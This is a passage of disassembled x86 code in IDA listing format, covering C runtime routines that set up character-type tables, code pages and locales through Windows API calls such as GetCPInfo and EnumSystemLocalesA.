sub_4349E0 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_41CA10 add esp, 8 mov eax, 1 jmp loc_43474C ; --------------------------------------------------------------------------- loc_43468D: ; CODE XREF: sub_434620+47j mov eax, [ebp+var_4] mov ecx, ds:off_454E18 mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_4] mov ecx, ds:off_454E18 mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_4] mov ecx, ds:off_454E18 mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_4] mov ds:off_454E18, eax mov ecx, ds:dword_4F3624 push ecx call sub_4349E0 add esp, 4 push 2 mov edx, ds:dword_4F3624 push edx call sub_41CA10 add esp, 8 mov eax, [ebp+var_4] mov ds:dword_4F3624, eax xor eax, eax jmp short loc_43474C ; --------------------------------------------------------------------------- loc_4346EC: ; CODE XREF: sub_434620+Bj mov ecx, ds:off_454E18 mov edx, [ecx] mov ds:off_454DE8, edx mov eax, ds:off_454E18 mov ecx, [eax+4] mov ds:off_454DEC, ecx mov edx, ds:off_454E18 mov eax, [edx+8] mov ds:off_454DF0, eax mov ds:off_454E18, offset off_454DE8 mov ecx, ds:dword_4F3624 push ecx call sub_4349E0 add esp, 4 push 2 mov edx, ds:dword_4F3624 push edx call sub_41CA10 add esp, 8 mov ds:dword_4F3624, 0 xor eax, eax loc_43474C: ; CODE XREF: sub_434620+34j ; sub_434620+68j ... mov esp, ebp pop ebp retn sub_434620 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434750 proc near ; CODE XREF: sub_434620+3Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, ds:word_4F3644 mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_434776 or eax, 0FFFFFFFFh jmp loc_434959 ; --------------------------------------------------------------------------- loc_434776: ; CODE XREF: sub_434750+1Cj mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx push 15h mov edx, [ebp+var_4] push edx push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 14h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 16h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 17h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 18h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_434960 add esp, 4 mov ecx, [ebp+arg_0] add ecx, 20h push ecx push 50h mov edx, [ebp+var_4] push edx push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 51h mov eax, [ebp+var_4] push eax push 1 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 1Ah mov eax, [ebp+var_4] push eax push 0 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 29h push edx push 19h mov eax, [ebp+var_4] push eax push 0 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ah push edx push 54h mov eax, [ebp+var_4] push eax push 0 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Bh push edx push 55h mov eax, [ebp+var_4] push eax push 0 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 56h mov eax, [ebp+var_4] push eax push 0 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Dh push edx push 57h mov eax, [ebp+var_4] push eax push 0 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Eh push edx push 52h mov eax, [ebp+var_4] push eax push 0 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Fh push edx push 53h mov eax, [ebp+var_4] push eax push 0 call sub_438A00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov eax, [ebp+var_8] loc_434959: ; CODE XREF: sub_434750+21j mov esp, ebp pop ebp retn sub_434750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434960 proc near ; CODE XREF: sub_434750+C8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_434964: ; CODE XREF: sub_434960:loc_4349D7j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4349D9 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_43499D mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_43499D mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_4349D7 ; --------------------------------------------------------------------------- loc_43499D: ; CODE XREF: sub_434960+17j ; sub_434960+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_4349CE mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4349AE: ; CODE XREF: sub_434960+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_4349AE jmp short loc_4349D7 ; --------------------------------------------------------------------------- loc_4349CE: ; CODE XREF: sub_434960+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_4349D7: ; CODE XREF: sub_434960+3Bj ; sub_434960+6Cj jmp short loc_434964 ; --------------------------------------------------------------------------- loc_4349D9: ; CODE XREF: sub_434960+Cj mov esp, ebp pop ebp retn sub_434960 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4349E0 proc near ; CODE XREF: sub_434620+4Dp ; sub_434620+A7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_4349EE jmp loc_434A71 ; --------------------------------------------------------------------------- loc_4349EE: ; CODE XREF: sub_4349E0+7j mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], offset dword_4F3684 jz short loc_434A71 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_41CA10 add esp, 8 loc_434A71: ; CODE XREF: sub_4349E0+9j ; sub_4349E0+18j pop ebp retn sub_4349E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434A80 proc near ; DATA XREF: _2:004542E0o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = byte ptr -0Eh push ebp mov ebp, esp sub esp, 30h mov [ebp+var_2C], 0 mov [ebp+var_28], 0 cmp ds:dword_4F33F8, 0 jz loc_434DD1 cmp ds:dword_4F3408, 0 jnz short loc_434AD0 push offset dword_4F3408 push 1004h xor eax, eax mov ax, ds:word_4F363C push eax push 0 call sub_438A00 add esp, 10h test eax, eax jz short loc_434AD0 jmp loc_434D92 ; --------------------------------------------------------------------------- loc_434AD0: ; CODE XREF: sub_434A80+28j ; sub_434A80+49j push 5Ch push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_41BE70 add esp, 10h mov [ebp+var_30], eax push 5Eh push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_41BE70 add esp, 10h mov [ebp+var_1C], eax push 60h push offset aInitctyp_c ; "initctyp.c" push 2 push 101h call sub_41BE70 add esp, 10h mov [ebp+var_2C], eax push 62h push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_41BE70 add esp, 10h mov [ebp+var_28], eax cmp [ebp+var_30], 0 jz short loc_434B4C cmp [ebp+var_1C], 0 jz short loc_434B4C cmp [ebp+var_2C], 0 jz short loc_434B4C cmp [ebp+var_28], 0 jnz short loc_434B51 loc_434B4C: ; CODE XREF: sub_434A80+B8j ; sub_434A80+BEj ... jmp loc_434D92 ; --------------------------------------------------------------------------- loc_434B51: ; CODE XREF: sub_434A80+CAj mov ecx, [ebp+var_2C] mov [ebp+var_18], ecx mov [ebp+var_20], 0 jmp short loc_434B69 ; --------------------------------------------------------------------------- loc_434B60: ; CODE XREF: sub_434A80+103j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_434B69: ; CODE XREF: sub_434A80+DEj cmp [ebp+var_20], 100h jge short loc_434B85 mov eax, [ebp+var_18] mov cl, byte ptr [ebp+var_20] mov [eax], cl mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx jmp short loc_434B60 ; --------------------------------------------------------------------------- loc_434B85: ; CODE XREF: sub_434A80+F0j lea eax, [ebp+var_14] push eax mov ecx, ds:dword_4F3408 push ecx call ds:dword_4F54E0 ; GetCPInfo test eax, eax jnz short loc_434B9F jmp loc_434D92 ; --------------------------------------------------------------------------- loc_434B9F: ; CODE XREF: sub_434A80+118j cmp [ebp+var_14], 2 jbe short loc_434BAA jmp loc_434D92 ; --------------------------------------------------------------------------- loc_434BAA: ; CODE XREF: sub_434A80+123j mov edx, [ebp+var_14] and edx, 0FFFFh mov ds:dword_453DF0, edx cmp ds:dword_453DF0, 1 jle short loc_434C19 lea eax, [ebp+var_E] mov [ebp+var_18], eax jmp short loc_434BD3 ; --------------------------------------------------------------------------- loc_434BCA: ; CODE XREF: sub_434A80:loc_434C17j mov ecx, [ebp+var_18] add ecx, 2 mov [ebp+var_18], ecx loc_434BD3: ; CODE XREF: sub_434A80+148j mov edx, [ebp+var_18] xor eax, eax mov al, [edx] test eax, eax jz short loc_434C19 mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_434C19 mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx jmp short loc_434BFF ; --------------------------------------------------------------------------- loc_434BF6: ; CODE XREF: sub_434A80+195j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_434BFF: ; CODE XREF: sub_434A80+174j mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_20], ecx jg short loc_434C17 mov edx, [ebp+var_2C] add edx, [ebp+var_20] mov byte ptr [edx], 0 jmp short loc_434BF6 ; --------------------------------------------------------------------------- loc_434C17: ; CODE XREF: sub_434A80+18Aj jmp short loc_434BCA ; --------------------------------------------------------------------------- loc_434C19: ; CODE XREF: sub_434A80+140j ; sub_434A80+15Cj ... push 0 push 0 push 0 mov eax, [ebp+var_30] add eax, 2 push eax push 100h mov ecx, [ebp+var_2C] push ecx push 1 call sub_431210 add esp, 1Ch test eax, eax jnz short loc_434C42 jmp loc_434D92 ; --------------------------------------------------------------------------- loc_434C42: ; CODE XREF: sub_434A80+1BBj mov edx, [ebp+var_30] mov word ptr [edx], 0 mov eax, [ebp+var_28] mov [ebp+var_24], eax mov [ebp+var_20], 0 jmp short loc_434C62 ; --------------------------------------------------------------------------- loc_434C59: ; CODE XREF: sub_434A80+1FEj mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx loc_434C62: ; CODE XREF: sub_434A80+1D7j cmp [ebp+var_20], 100h jge short loc_434C80 mov edx, [ebp+var_24] mov ax, word ptr [ebp+var_20] mov [edx], ax mov ecx, [ebp+var_24] add ecx, 2 mov [ebp+var_24], ecx jmp short loc_434C59 ; --------------------------------------------------------------------------- loc_434C80: ; CODE XREF: sub_434A80+1E9j push 0 push 0 mov edx, [ebp+var_1C] add edx, 2 push edx push 100h mov eax, [ebp+var_28] push eax push 1 call sub_438CA0 add esp, 18h test eax, eax jnz short loc_434CA7 jmp loc_434D92 ; --------------------------------------------------------------------------- loc_434CA7: ; CODE XREF: sub_434A80+220j mov ecx, [ebp+var_1C] mov word ptr [ecx], 0 cmp ds:dword_453DF0, 1 jle short loc_434D13 lea edx, [ebp+var_E] mov [ebp+var_18], edx jmp short loc_434CC9 ; --------------------------------------------------------------------------- loc_434CC0: ; CODE XREF: sub_434A80:loc_434D11j mov eax, [ebp+var_18] add eax, 2 mov [ebp+var_18], eax loc_434CC9: ; CODE XREF: sub_434A80+23Ej mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_434D13 mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_434D13 mov edx, [ebp+var_18] xor eax, eax mov al, [edx] mov [ebp+var_20], eax jmp short loc_434CF5 ; --------------------------------------------------------------------------- loc_434CEC: ; CODE XREF: sub_434A80+28Fj mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx loc_434CF5: ; CODE XREF: sub_434A80+26Aj mov edx, [ebp+var_18] xor eax, eax mov al, [edx+1] cmp [ebp+var_20], eax jg short loc_434D11 mov ecx, [ebp+var_20] mov edx, [ebp+var_30] mov word ptr [edx+ecx*2+2], 8000h jmp short loc_434CEC ; --------------------------------------------------------------------------- loc_434D11: ; CODE XREF: sub_434A80+280j jmp short loc_434CC0 ; --------------------------------------------------------------------------- loc_434D13: ; CODE XREF: sub_434A80+236j ; sub_434A80+252j ... mov eax, [ebp+var_30] add eax, 2 mov ds:off_453BE4, eax mov ecx, [ebp+var_1C] add ecx, 2 mov ds:off_453BE8, ecx cmp ds:dword_4F3628, 0 jz short loc_434D44 push 2 mov edx, ds:dword_4F3628 push edx call sub_41CA10 add esp, 8 loc_434D44: ; CODE XREF: sub_434A80+2B1j mov eax, [ebp+var_30] mov ds:dword_4F3628, eax cmp ds:dword_4F362C, 0 jz short loc_434D66 push 2 mov ecx, ds:dword_4F362C push ecx call sub_41CA10 add esp, 8 loc_434D66: ; CODE XREF: sub_434A80+2D3j mov edx, [ebp+var_1C] mov ds:dword_4F362C, edx push 2 mov eax, [ebp+var_2C] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+var_28] push ecx call sub_41CA10 add esp, 8 xor eax, eax jmp loc_434E1C ; --------------------------------------------------------------------------- loc_434D92: ; CODE XREF: sub_434A80+4Bj ; sub_434A80:loc_434B4Cj ... push 2 mov edx, [ebp+var_30] push edx call sub_41CA10 add esp, 8 push 2 mov eax, [ebp+var_1C] push eax call sub_41CA10 add esp, 8 push 2 mov ecx, [ebp+var_2C] push ecx call sub_41CA10 add esp, 8 push 2 mov edx, [ebp+var_28] push edx call sub_41CA10 add esp, 8 mov eax, 1 jmp short loc_434E1C ; --------------------------------------------------------------------------- loc_434DD1: ; CODE XREF: sub_434A80+1Bj mov ds:off_453BE4, offset word_453BEE mov ds:off_453BE8, offset word_453BEE push 2 mov eax, ds:dword_4F3628 push eax call sub_41CA10 add esp, 8 push 2 mov ecx, ds:dword_4F362C push ecx call sub_41CA10 add esp, 8 mov ds:dword_4F3628, 0 mov ds:dword_4F362C, 0 xor eax, eax loc_434E1C: ; CODE XREF: sub_434A80+30Dj ; sub_434A80+34Fj mov esp, ebp pop ebp retn sub_434A80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434E20 proc near ; DATA XREF: _2:004542D4o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_434E20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434E30 proc near ; CODE XREF: _0:0042DC5Ep ; sub_42E310+7Bp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_434E44: ; CODE XREF: sub_434E30+1Fj mov al, [edx] or al, al jz short loc_434E51 inc edx bts [esp+24h+var_24], eax jmp short loc_434E44 ; --------------------------------------------------------------------------- loc_434E51: ; CODE XREF: sub_434E30+18j mov esi, [ebp+arg_0] or ecx, 0FFFFFFFFh nop loc_434E58: ; CODE XREF: sub_434E30+34j inc ecx mov al, [esi] or al, al jz short loc_434E66 inc esi bt [esp+24h+var_24], eax jnb short loc_434E58 loc_434E66: ; CODE XREF: sub_434E30+2Dj mov eax, ecx add esp, 20h pop esi leave retn sub_434E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434E70 proc near ; CODE XREF: _0:0042DB7Dp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_434E84: ; CODE XREF: sub_434E70+1Fj mov al, [edx] or al, al jz short loc_434E91 inc edx bts [esp+24h+var_24], eax jmp short loc_434E84 ; --------------------------------------------------------------------------- loc_434E91: ; CODE XREF: sub_434E70+18j mov esi, [ebp+arg_0] loc_434E94: ; CODE XREF: sub_434E70+2Fj mov al, [esi] or al, al jz short loc_434EA4 inc esi bt [esp+24h+var_24], eax jnb short loc_434E94 lea eax, [esi-1] loc_434EA4: ; CODE XREF: sub_434E70+28j add esp, 20h pop esi leave retn sub_434E70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434EB0 proc near ; CODE XREF: sub_42E120+D3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 cmp ds:dword_4F3674, 0 jnz short loc_434EE2 call sub_435980 test eax, eax jz short loc_434ED2 mov eax, ds:dword_4F5398 mov [ebp+var_8], eax jmp short loc_434ED9 ; --------------------------------------------------------------------------- loc_434ED2: ; CODE XREF: sub_434EB0+16j mov [ebp+var_8], offset sub_4359D0 loc_434ED9: ; CODE XREF: sub_434EB0+20j mov ecx, [ebp+var_8] mov ds:dword_4F3674, ecx loc_434EE2: ; CODE XREF: sub_434EB0+Dj cmp [ebp+arg_0], 0 jnz short loc_434EF2 call sub_4357D0 jmp loc_434FBE ; --------------------------------------------------------------------------- loc_434EF2: ; CODE XREF: sub_434EB0+36j mov edx, [ebp+arg_0] mov ds:dword_4F3664, edx cmp ds:dword_4F3664, 0 jz short loc_434F24 mov eax, ds:dword_4F3664 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_434F24 push offset dword_4F3664 push 40h push offset off_454B20 call sub_4350B0 add esp, 0Ch loc_434F24: ; CODE XREF: sub_434EB0+52j ; sub_434EB0+5Ej mov edx, [ebp+arg_0] add edx, 40h mov ds:dword_4F3668, edx cmp ds:dword_4F3668, 0 jz short loc_434F59 mov eax, ds:dword_4F3668 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_434F59 push offset dword_4F3668 push 16h push offset off_454A68 call sub_4350B0 add esp, 0Ch loc_434F59: ; CODE XREF: sub_434EB0+87j ; sub_434EB0+93j mov ds:dword_4F366C, 0 cmp ds:dword_4F3664, 0 jz short loc_434F9D mov edx, ds:dword_4F3664 movsx eax, byte ptr [edx] test eax, eax jz short loc_434F9D cmp ds:dword_4F3668, 0 jz short loc_434F96 mov ecx, ds:dword_4F3668 movsx edx, byte ptr [ecx] test edx, edx jz short loc_434F96 call sub_435140 jmp short loc_434F9B ; --------------------------------------------------------------------------- loc_434F96: ; CODE XREF: sub_434EB0+D0j ; sub_434EB0+DDj call sub_435530 loc_434F9B: ; CODE XREF: sub_434EB0+E4j jmp short loc_434FBE ; --------------------------------------------------------------------------- loc_434F9D: ; CODE XREF: sub_434EB0+BAj ; sub_434EB0+C7j cmp ds:dword_4F3668, 0 jz short loc_434FB9 mov eax, ds:dword_4F3668 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_434FB9 call sub_4356D0 jmp short loc_434FBE ; --------------------------------------------------------------------------- loc_434FB9: ; CODE XREF: sub_434EB0+F4j ; sub_434EB0+100j call sub_4357D0 loc_434FBE: ; CODE XREF: sub_434EB0+3Dj ; sub_434EB0:loc_434F9Bj ... cmp ds:dword_4F366C, 0 jnz short loc_434FCE xor eax, eax jmp loc_4350AC ; --------------------------------------------------------------------------- loc_434FCE: ; CODE XREF: sub_434EB0+115j mov edx, [ebp+arg_0] add edx, 80h push edx call sub_435800 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_434FFC mov eax, [ebp+var_4] and eax, 0FFFFh push eax call ds:dword_4F52F4 ; IsValidCodePage test eax, eax jnz short loc_435003 loc_434FFC: ; CODE XREF: sub_434EB0+137j xor eax, eax jmp loc_4350AC ; --------------------------------------------------------------------------- loc_435003: ; CODE XREF: sub_434EB0+14Aj push 1 mov ecx, ds:dword_4F3654 push ecx call ds:dword_4F52F8 ; IsValidLocale test eax, eax jnz short loc_43501D xor eax, eax jmp loc_4350AC ; --------------------------------------------------------------------------- loc_43501D: ; CODE XREF: sub_434EB0+164j cmp [ebp+arg_4], 0 jz short loc_435048 mov edx, [ebp+arg_4] mov ax, word ptr ds:dword_4F3654 mov [edx], ax mov ecx, [ebp+arg_4] mov dx, word ptr ds:dword_4F3670 mov [ecx+2], dx mov eax, [ebp+arg_4] mov cx, word ptr [ebp+var_4] mov [eax+4], cx loc_435048: ; CODE XREF: sub_434EB0+171j cmp [ebp+arg_8], 0 jz short loc_4350A7 push 40h mov edx, [ebp+arg_8] push edx push 1001h mov eax, ds:dword_4F3654 push eax call ds:dword_4F3674 test eax, eax jnz short loc_43506D xor eax, eax jmp short loc_4350AC ; --------------------------------------------------------------------------- loc_43506D: ; CODE XREF: sub_434EB0+1B7j push 40h mov ecx, [ebp+arg_8] add ecx, 40h push ecx push 1002h mov edx, ds:dword_4F3670 push edx call ds:dword_4F3674 test eax, eax jnz short loc_435090 xor eax, eax jmp short loc_4350AC ; --------------------------------------------------------------------------- loc_435090: ; CODE XREF: sub_434EB0+1DAj push 0Ah mov eax, [ebp+arg_8] add eax, 80h push eax mov ecx, [ebp+var_4] push ecx call sub_430220 add esp, 0Ch loc_4350A7: ; CODE XREF: sub_434EB0+19Cj mov eax, 1 loc_4350AC: ; CODE XREF: sub_434EB0+119j ; sub_434EB0+14Ej ... mov esp, ebp pop ebp retn sub_434EB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4350B0 proc near ; CODE XREF: sub_434EB0+6Cp ; sub_434EB0+A1p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 1 mov [ebp+var_C], 0 loc_4350C4: ; CODE XREF: sub_4350B0:loc_43512Cj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jg short loc_43512E cmp [ebp+var_8], 0 jz short loc_43512E mov eax, [ebp+var_C] add eax, [ebp+arg_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov eax, [edx+ecx*8] push eax mov ecx, [ebp+arg_8] mov edx, [ecx] push edx call sub_420F10 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_435112 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*8+4] mov eax, [ebp+arg_8] mov [eax], edx jmp short loc_43512C ; --------------------------------------------------------------------------- loc_435112: ; CODE XREF: sub_4350B0+4Fj cmp [ebp+var_8], 0 jge short loc_435123 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_43512C ; --------------------------------------------------------------------------- loc_435123: ; CODE XREF: sub_4350B0+66j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx loc_43512C: ; CODE XREF: sub_4350B0+60j ; sub_4350B0+71j jmp short loc_4350C4 ; --------------------------------------------------------------------------- loc_43512E: ; CODE XREF: sub_4350B0+1Aj ; sub_4350B0+20j mov esp, ebp pop ebp retn sub_4350B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435140 proc near ; CODE XREF: sub_434EB0+DFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, ds:dword_4F3664 push eax call sub_41BC70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov ds:dword_4F3660, ecx mov edx, ds:dword_4F3668 push edx call sub_41BC70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov ds:dword_4F3658, ecx mov ds:dword_4F3654, 0 cmp ds:dword_4F3660, 0 jz short loc_435199 mov [ebp+var_4], 2 jmp short loc_4351AB ; --------------------------------------------------------------------------- loc_435199: ; CODE XREF: sub_435140+4Ej mov edx, ds:dword_4F3664 push edx call sub_435BE0 add esp, 4 mov [ebp+var_4], eax loc_4351AB: ; CODE XREF: sub_435140+57j mov eax, [ebp+var_4] mov ds:dword_4F365C, eax push 1 push offset sub_435200 call ds:dword_4F52F0 ; EnumSystemLocalesA mov ecx, ds:dword_4F366C and ecx, 100h test ecx, ecx jz short loc_4351EC mov edx, ds:dword_4F366C and edx, 200h test edx, edx jz short loc_4351EC mov eax, ds:dword_4F366C and eax, 7 test eax, eax jnz short loc_4351F6 loc_4351EC: ; CODE XREF: sub_435140+8Ej ; sub_435140+9Ej mov ds:dword_4F366C, 0 loc_4351F6: ; CODE XREF: sub_435140+AAj mov esp, ebp pop ebp retn sub_435140 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435200 proc near ; DATA XREF: sub_435140+75o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_435B60 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4F3658 neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call ds:dword_4F3674 test eax, eax jnz short loc_435254 loc_435240: ; DATA XREF: _2:004547A4o ; _2:off_44BE9Co mov ds:dword_4F366C, 0 mov eax, 1 jmp loc_43551E ; --------------------------------------------------------------------------- loc_435254: ; CODE XREF: sub_435200+3Ej lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4F3668 push edx call sub_420F10 add esp, 8 test eax, eax jnz loc_43538F push 78h lea eax, [ebp+var_78] push eax mov ecx, ds:dword_4F3660 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call ds:dword_4F3674 test eax, eax jnz short loc_4352AE mov ds:dword_4F366C, 0 mov eax, 1 jmp loc_43551E ; --------------------------------------------------------------------------- loc_4352AE: ; CODE XREF: sub_435200+98j lea eax, [ebp+var_78] push eax mov ecx, ds:dword_4F3664 push ecx call sub_420F10 add esp, 8 test eax, eax jnz short loc_4352F0 mov edx, ds:dword_4F366C or edx, 304h mov ds:dword_4F366C, edx mov eax, [ebp+var_7C] mov ds:dword_4F3670, eax mov ecx, ds:dword_4F3670 mov ds:dword_4F3654, ecx jmp loc_43538F ; --------------------------------------------------------------------------- loc_4352F0: ; CODE XREF: sub_435200+C3j mov edx, ds:dword_4F366C and edx, 2 test edx, edx jnz loc_43538F cmp ds:dword_4F365C, 0 jz short loc_43535D mov eax, ds:dword_4F365C push eax lea ecx, [ebp+var_78] push ecx mov edx, ds:dword_4F3664 push edx call sub_438F10 add esp, 0Ch test eax, eax jnz short loc_43535D mov eax, ds:dword_4F366C or al, 2 mov ds:dword_4F366C, eax mov ecx, [ebp+var_7C] mov ds:dword_4F3670, ecx mov edx, ds:dword_4F3664 push edx loc_435343: ; DATA 